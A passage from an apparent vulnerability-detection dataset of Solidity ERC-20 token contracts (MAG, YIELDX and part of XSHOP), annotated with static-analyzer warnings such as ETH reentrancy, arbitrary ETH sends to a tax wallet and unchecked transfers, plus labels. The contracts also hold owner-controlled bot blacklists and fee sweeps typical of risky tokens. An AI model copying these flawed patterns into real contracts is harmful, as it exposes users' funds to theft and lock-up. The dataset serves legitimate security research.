Vulnerability (reentrancy-eth | severity: High | ID: 0692fe3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0692fe3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5c2d039\n\t\t// reentrancy-eth | ID: 0692fe3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5c2d039\n\t\t// unused-return | ID: 0330864\n\t\t// reentrancy-eth | ID: 0692fe3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5c2d039\n\t\t// unused-return | ID: c1710b8\n\t\t// reentrancy-eth | ID: 0692fe3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5c2d039\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0692fe3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 47f0ec3): XSHOP.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 47f0ec3: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 47f0ec3\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10677.sol",
"size_bytes": 21064,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03d3f8f): MAG._taxWallet should be immutable \n\t// Recommendation for 03d3f8f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac59cc0): MAG._initialBuyTax should be constant \n\t// Recommendation for ac59cc0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 056e45b): MAG._initialSellTax should be constant \n\t// Recommendation for 056e45b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0feab27): MAG._reduceBuyTaxAt should be constant \n\t// Recommendation for 0feab27: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2f6719): MAG._reduceSellTaxAt should be constant \n\t// Recommendation for e2f6719: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: c4b6888): MAG._preventSwapBefore should be constant \n\t// Recommendation for c4b6888: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Greater\";\n\n string private constant _symbol = unicode\"MAG\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28dac4d): MAG._taxSwapThreshold should be constant \n\t// Recommendation for 28dac4d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a60423): MAG._maxTaxSwap should be constant \n\t// Recommendation for 3a60423: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24487ac): MAG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24487ac: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bf4445f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bf4445f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fcd7c4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fcd7c4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bf4445f\n\t\t// reentrancy-benign | ID: fcd7c4b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bf4445f\n\t\t// reentrancy-benign | ID: fcd7c4b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f872c1c): MAG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f872c1c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fcd7c4b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bf4445f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ba3ca6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ba3ca6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6d105e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6d105e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ba3ca6d\n\t\t\t\t// reentrancy-eth | ID: 6d105e7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ba3ca6d\n\t\t\t\t\t// reentrancy-eth | ID: 6d105e7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6d105e7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6d105e7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6d105e7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ba3ca6d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6d105e7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6d105e7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ba3ca6d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ba3ca6d\n\t\t// reentrancy-events | ID: bf4445f\n\t\t// reentrancy-benign | ID: fcd7c4b\n\t\t// reentrancy-eth | ID: 6d105e7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3529c7c): MAG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3529c7c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ba3ca6d\n\t\t// reentrancy-events | ID: bf4445f\n\t\t// reentrancy-eth | ID: 6d105e7\n\t\t// arbitrary-send-eth | ID: 3529c7c\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f3f8610): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f3f8610: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 63b09d6): MAG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 63b09d6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2a326a8): MAG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2a326a8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 599eddb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 599eddb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f3f8610\n\t\t// reentrancy-eth | ID: 599eddb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f3f8610\n\t\t// unused-return | ID: 63b09d6\n\t\t// reentrancy-eth | ID: 599eddb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f3f8610\n\t\t// unused-return | ID: 2a326a8\n\t\t// reentrancy-eth | ID: 599eddb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f3f8610\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 599eddb\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10678.sol",
"size_bytes": 20312,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YIELDX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n address payable private constant _taxWallet =\n payable(0xe64fAb7af64e9C40bbEf3B05cdE9Bc9744401430);\n\n\t// WARNING Optimization Issue (constable-states | ID: 35787ff): YIELDX._initialBuyTax should be constant \n\t// Recommendation for 35787ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5851ac): YIELDX._initialSellTax should be constant \n\t// Recommendation for e5851ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b4c713): YIELDX._finalBuyTax should be constant \n\t// Recommendation for 2b4c713: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 533684c): YIELDX._finalSellTax should be constant \n\t// Recommendation for 533684c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e646c86): YIELDX._reduceBuyTaxAt should be constant \n\t// Recommendation for e646c86: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a0e70b): YIELDX._reduceSellTaxAt should be constant \n\t// Recommendation for 6a0e70b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ab7d0d): YIELDX._preventSwapBefore should be constant \n\t// Recommendation for 7ab7d0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"YieldX\";\n\n string private constant _symbol = unicode\"YIELDX\";\n\n uint256 public constant _taxSwapThreshold = 20000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable _router;\n\n address private immutable uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2363434): YIELDX.navFeeApply should be constant \n\t// Recommendation for 2363434: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1281d31): YIELDX.navFeeApply is never initialized. It is used in YIELDX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1281d31: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private navFeeApply;\n\n struct NavSync {\n uint256 navIn;\n uint256 navOut;\n uint256 reclaimNavToken;\n }\n\n mapping(address => NavSync) private navSync;\n\n uint256 private navLimExclude;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[_taxWallet] = true;\n\n _excludedFromLimits[address(this)] = true;\n\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2842e80): YIELDX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2842e80: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4c0ce73): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4c0ce73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b7aa667): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b7aa667: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4c0ce73\n\t\t// reentrancy-benign | ID: b7aa667\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4c0ce73\n\t\t// reentrancy-benign | ID: b7aa667\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0818a2): YIELDX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e0818a2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b7aa667\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4c0ce73\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be612bc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be612bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 